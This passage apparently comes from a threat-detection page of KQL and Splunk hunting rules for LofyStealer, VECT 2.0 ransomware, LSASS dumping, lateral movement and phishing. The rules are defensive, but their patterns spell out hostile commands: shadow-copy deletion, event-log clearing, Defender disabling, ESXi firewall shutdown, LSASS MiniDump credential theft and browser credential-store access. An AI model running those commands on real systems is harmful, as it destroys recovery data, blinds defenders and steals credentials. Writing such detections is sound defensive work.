| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Brazilian LofyGang Resurfaces After Three Years With Minecraft LofyStealer CampaExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Brazilian LofyGang Resurfaces After Three Years With Minecraft LofyStealer Campa
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("chromelevator.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("chromelevator.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Brazilian LofyGang Resurfaces After Three Years With Minecraft LofyStealer Campa ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("chromelevator.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("chromelevator.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] LofyStealer/GrabBot C2 beacon to 24.152.36.241:8080 with GrabBot/1.0 User-AgentCommand & ControlHigh
Hunts the LofyStealer (aka GrabBot) C2 channel reported by ZenoX in the Slinky/Minecraft campaign. Detects HTTP POSTs to /upload or GETs to /time on 24.152.36[.]241:8080, or any traffic carrying the User-Agent 'GrabBot/1.0' which the stealer hard-codes.
Rationale: Uses the named C2 IP (24.152.36[.]241), port 8080, hard-coded User-Agent 'GrabBot/1.0', and the two endpoints /upload and /time disclosed in the ZenoX report and corroborated by gbhackers. This combination is unique to this campaign and yields very low FP.
Cross-checked against:
• https://gbhackers.com/lofystealer-targets-minecraft-players/
• https://thehackernews.com/2026/04/brazilian-lofygang-resurfaces-after.html
ATT&CKT1071.001T1041
Data sourcesWebNetwork_Traffic.All_Traffic
union
(DeviceNetworkEvents
| where RemoteIP == "24.152.36.241" and RemotePort == 8080
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl),
(DeviceEvents
| where ActionType == "ConnectionSuccess" or ActionType startswith "Network"
| where AdditionalFields has "GrabBot/1.0" or RemoteUrl has_any ("/upload","/time")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, AdditionalFields)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.dest="24.152.36.241" AND Web.dest_port=8080) OR Web.user_agent="GrabBot/1.0" OR (Web.url IN ("*/upload","*/time") AND Web.http_method IN ("POST","GET")) by Web.src, Web.user, Web.dest, Web.dest_port, Web.http_method, Web.url, Web.user_agent, Web.http_content_type | `drop_dm_object_name(Web)` | convert ctime(firstTime) ctime(lastTime)
Detects the LofyStealer execution chain in which a 53.5 MB Node.js pkg-packaged loader 'load.exe' (Slinky Minecraft hack) drops or in-memory executes the GrabBot payload 'chromeleveler.exe' / 'chromelevator.exe'. The parent–child relationship is the strongest article-specific behaviour.
Rationale: Uses the article's named binaries (load.exe -> chromeleveler.exe / chromelevator.exe), the Slinky theme, and the specific user-writable paths typical of Minecraft hack downloads. The pkg-packaged Node.js loader spawning a small native stealer is a unique fingerprint reported by ZenoX and gbhackers.
Cross-checked against:
• https://gbhackers.com/lofystealer-targets-minecraft-players/
• https://thehackernews.com/2026/04/brazilian-lofygang-resurfaces-after.html
ATT&CKT1059.007T1204.002T1106
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where (InitiatingProcessFileName =~ "load.exe" and FileName in~ ("chromeleveler.exe","chromelevator.exe"))
or FileName in~ ("chromeleveler.exe","chromelevator.exe")
or (FileName =~ "load.exe" and (FolderPath has_any ("\\Downloads\\","\\Temp\\","\\AppData\\") and (ProcessCommandLine has "Slinky" or InitiatingProcessCommandLine has "Slinky")))
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, SHA256, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessSHA256
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name="load.exe" AND Processes.process_name IN ("chromeleveler.exe","chromelevator.exe")) OR (Processes.process_name IN ("chromeleveler.exe","chromelevator.exe")) OR (Processes.process_name="load.exe" AND Processes.process_path IN ("*\\Downloads\\*","*\\Temp\\*","*\\AppData\\*") AND Processes.process_path LIKE "%Slinky%") by Processes.dest, Processes.user, Processes.parent_process_name, Processes.parent_process, Processes.process_name, Processes.process, Processes.process_path, Processes.process_hash | `drop_dm_object_name(Processes)` | convert ctime(firstTime) ctime(lastTime)
[LLM] GrabBot multi-browser credential harvest (Chrome/Edge/Brave/Opera/Firefox/Avast)Actions on ObjectivesHigh
Detects the LofyStealer credential-grab stage where chromeleveler.exe / chromelevator.exe (or its load.exe parent) reads Login Data, Cookies, Web Data and Firefox profile files across an unusually broad browser set (Chrome, Chrome Beta, Edge, Brave, Opera, Opera GX, Firefox, Avast Secure Browser) within seconds.
Rationale: Combines the article's named stealer binaries with the explicit list of targeted browsers (Chrome/Edge/Brave/Opera/Opera GX/Firefox/Avast) and standard browser secret stores. The cross-browser breadth in a short window is highly characteristic of LofyStealer V2.0.
Cross-checked against:
• https://gbhackers.com/lofystealer-targets-minecraft-players/
• https://thehackernews.com/2026/04/brazilian-lofygang-resurfaces-after.html
ATT&CKT1555.003T1539T1005
Data sourcesEndpoint.Filesystem
DeviceFileEvents
| where InitiatingProcessFileName in~ ("chromeleveler.exe","chromelevator.exe","load.exe")
| where FileName in~ ("Login Data","Cookies","Web Data","logins.json","cookies.sqlite","key4.db")
or FolderPath has_any ("\\Google\\Chrome\\","\\Microsoft\\Edge\\","\\BraveSoftware\\","\\Opera Software\\","\\Mozilla\\Firefox\\Profiles\\","\\AVAST Software\\Browser\\")
| summarize FileCount=dcount(FolderPath), Files=make_set(FileName,25), Browsers=make_set(FolderPath,25), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by DeviceName, AccountName, InitiatingProcessFileName
| where FileCount >= 2
| tstats summariesonly=true count values(Filesystem.file_path) as paths dc(Filesystem.file_path) as path_count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.process_name IN ("chromeleveler.exe","chromelevator.exe","load.exe") AND (Filesystem.file_name IN ("Login Data","Cookies","Web Data","logins.json","cookies.sqlite","key4.db") OR Filesystem.file_path IN ("*\\Google\\Chrome\\*","*\\Microsoft\\Edge\\*","*\\BraveSoftware\\*","*\\Opera Software\\*","*\\Mozilla\\Firefox\\Profiles\\*","*\\AVAST Software\\Browser\\*")) by Filesystem.dest, Filesystem.user, Filesystem.process_name | `drop_dm_object_name(Filesystem)` | where path_count >= 2 | convert ctime(firstTime) ctime(lastTime)
2026-04-2811 use cases4 techniques6 kill-chain phases detected
Threat hunters are warning that the cybercriminal operation known as VECT 2.0 acts more like a wiper than a ransomware due to a critical flaw in its encryption implementation across Windows, Linux, and ESXi variants that renders recovery impossible even for the threat actors. The fact that VECT's locker permanently destroys large files rather than encrypting them means even victims who opt to
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1486
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Hunts the specific multi-command pre-encryption sabotage sequence executed by VECT 2.0's Windows variant (svc_host_update.exe) before launching the ChaCha20-IETF locker. Alerts when 3+ of the named techniques co-occur on a host within a short window — the combination is article-specific and far more selective than any single command.
Rationale: Each command (bcdedit safeboot, vssadmin delete shadows, wevtutil cl, Set-MpPreference Disable*) plus the named binary svc_host_update.exe is documented in Check Point Research's VECT 2.0 write-up and CyberSecurityNews. Individually each is noisy, but VECT runs all of them sequentially, so requiring score>=3 within 15 minutes is high-fidelity for this specific actor.
Cross-checked against:
• https://research.checkpoint.com/2026/vect-ransomware-by-design-wiper-by-accident/
• https://cybersecuritynews.com/new-vect-2-0-ransomware-destroys-files/
• https://gbhackers.com/vect-2-0-ransomware-wipes/
ATT&CKT1490T1070.001T1562.001T1059.001
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(7d)
| where (ProcessCommandLine has_all ("bcdedit", "safeboot", "minimal"))
or (ProcessCommandLine has_all ("vssadmin", "delete", "shadows", "/all", "/quiet"))
or (ProcessCommandLine has "wevtutil" and ProcessCommandLine has " cl " and ProcessCommandLine has_any ("Application", "Security", "System", "PowerShell"))
or (ProcessCommandLine has "Set-MpPreference" and ProcessCommandLine has_any ("DisableRealtimeMonitoring", "DisableBehaviorMonitoring", "DisableIOAVProtection"))
or FileName =~ "svc_host_update.exe"
| extend bucket = bin(Timestamp, 15m)
| extend tactic = case(
ProcessCommandLine has "bcdedit", "safeboot",
ProcessCommandLine has "vssadmin", "vss_delete",
ProcessCommandLine has "wevtutil", "logclear",
ProcessCommandLine has "Set-MpPreference", "defender_off",
FileName =~ "svc_host_update.exe", "named_binary",
"other")
| summarize TacticsHit = dcount(tactic), TacticList = make_set(tactic), Cmds = make_set(ProcessCommandLine, 20), Start = min(Timestamp), End = max(Timestamp) by DeviceId, DeviceName, bucket, InitiatingProcessAccountName
| where TacticsHit >= 3
| tstats summariesonly=true count values(Processes.process) as commands values(Processes.process_name) as proc values(Processes.parent_process_name) as parent min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process="*bcdedit*\{default\}*safeboot*minimal*" OR (Processes.process="*vssadmin*" AND Processes.process="*delete*shadows*" AND Processes.process="*/all*" AND Processes.process="*/quiet*") OR (Processes.process="*wevtutil*" AND Processes.process="*cl*" AND (Processes.process="*Application*" OR Processes.process="*Security*" OR Processes.process="*System*" OR Processes.process="*PowerShell*")) OR (Processes.process="*Set-MpPreference*" AND Processes.process="*Disable*") OR Processes.process_name="svc_host_update.exe") by Processes.dest Processes.user _time span=15m | `drop_dm_object_name(Processes)` | eval bcdedit=if(match(commands,"(?i)bcdedit.*safeboot.*minimal"),1,0), vss=if(match(commands,"(?i)vssadmin.*delete.*shadows"),1,0), wevt=if(match(commands,"(?i)wevtutil\s+cl"),1,0), defender=if(match(commands,"(?i)Set-MpPreference.*Disable"),1,0), namedbin=if(match(commands,"(?i)svc_host_update\.exe"),1,0) | eval score=bcdedit+vss+wevt+defender+namedbin | where score>=3 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table dest user score commands proc parent firstTime lastTime
[LLM] VECT 2.0 ransom note '!!!READ_ME!!!.txt' co-located with '.vect' extension dropsActions on ObjectivesHigh
Detects VECT 2.0's locker stage on Windows/Linux/ESXi by joining drops of the literal ransom note filename '!!!READ_ME!!!.txt' with renames/creates of files bearing the '.vect' extension on the same host within a short window. Bursts of >25 .vect files OR any note paired with >=5 .vect files fire the alert.
Rationale: The literal filename '!!!READ_ME!!!.txt' and '.vect' file extension are confirmed across Check Point Research, CyberSecurityNews and gbhackers as VECT 2.0-specific. Combining the two with thresholds eliminates accidental matches on files literally named '.vect' (vector graphics caches, etc.) and only fires during an actual locker run.
Cross-checked against:
• https://research.checkpoint.com/2026/vect-ransomware-by-design-wiper-by-accident/
• https://cybersecuritynews.com/new-vect-2-0-ransomware-destroys-files/
• https://gbhackers.com/vect-2-0-ransomware-wipes/
ATT&CKT1486T1485
Data sourcesEndpoint.Filesystem
DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType in ("FileCreated", "FileRenamed", "FileModified")
| where FileName =~ "!!!READ_ME!!!.txt" or FileName endswith ".vect"
| summarize NoteDrops = countif(FileName =~ "!!!READ_ME!!!.txt"),
VectExtDrops = countif(FileName endswith ".vect"),
DistinctFolders = dcount(FolderPath),
SampleFolders = make_set(FolderPath, 15),
FirstSeen = min(Timestamp),
LastSeen = max(Timestamp)
by DeviceId, DeviceName, bin(Timestamp, 15m)
| where (NoteDrops >= 1 and VectExtDrops >= 5) or VectExtDrops >= 25
| tstats summariesonly=true count values(Filesystem.file_path) as paths values(Filesystem.file_name) as files from datamodel=Endpoint.Filesystem where (Filesystem.file_name="!!!READ_ME!!!.txt" OR Filesystem.file_name="*.vect") by Filesystem.dest Filesystem.user _time span=10m | `drop_dm_object_name(Filesystem)` | eval note_count=if(match(files,"(?i)!!!READ_ME!!!\.txt"),1,0) | eval vect_count=mvcount(mvfilter(match(files,"(?i)\.vect$"))) | where (note_count>=1 AND vect_count>=5) OR vect_count>=25 | table _time dest user note_count vect_count files paths
Hunts the ESXi/Linux variant of VECT 2.0 by looking for execution of the named ELF (enc_esxi.elf) or the pre-encryption host-prep behaviours: disabling the ESXi firewall via esxcli and pkill -9 against vmx/hostd/vpxa to release VMDK locks before the ChaCha20-IETF locker truncates files >131,072 bytes irrecoverably.
Rationale: enc_esxi.elf is the named Linux/ESXi binary, and esxcli firewall disable + pkill -9 against vmx/hostd/vpxa are documented in the Check Point write-up as VECT 2.0's pre-locker host prep on hypervisors. Tier set to hunting because ESXi shell telemetry coverage varies — this is meant to be run as a focused threat hunt rather than always-on alerting.
Cross-checked against:
• https://research.checkpoint.com/2026/vect-ransomware-by-design-wiper-by-accident/
• https://cybersecuritynews.com/new-vect-2-0-ransomware-destroys-files/
ATT&CKT1486T1489T1562.004T1485
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(7d)
| where DeviceOSPlatform == "Linux"
| where FileName =~ "enc_esxi.elf"
or (ProcessCommandLine has "esxcli" and ProcessCommandLine has "network firewall" and ProcessCommandLine has_all ("--enabled", "false"))
or (ProcessCommandLine has "pkill -9" and ProcessCommandLine matches regex @"(?i)vmx|hostd|vpxa|vmware-vmx")
| project Timestamp, DeviceId, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp asc
| tstats summariesonly=true count values(Processes.process) as cmd values(Processes.process_name) as proc values(Processes.parent_process_name) as parent min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.os="Linux" OR Processes.os="VMkernel" OR Processes.os="ESXi") AND (Processes.process_name="enc_esxi.elf" OR Processes.process="*esxcli network firewall set --enabled false*" OR Processes.process="*esxcli network firewall*--enabled*false*" OR (Processes.process="*pkill -9*" AND (Processes.process="*vmx*" OR Processes.process="*hostd*" OR Processes.process="*vpxa*" OR Processes.process="*vmware-vmx*"))) by Processes.dest Processes.user | `drop_dm_object_name(Processes)` | table firstTime lastTime dest user proc parent cmd
2026-04-289 use cases4 techniques5 kill-chain phases detected
With attackers moving faster than ever, it’s easy to feel overwhelmed. This blog breaks down five practical priorities from the Cisco Talos 2025 Year in Review to help defenders focus and prioritize, amidst all the noise.
ATT&CKT1021.002T1190T1486T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
Detected
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] ToolShell SharePoint RCE: spinstall webshell drop in LAYOUTS directory
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · [LLM] Adversary-registered MFA method followed by sign-in from same new device
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
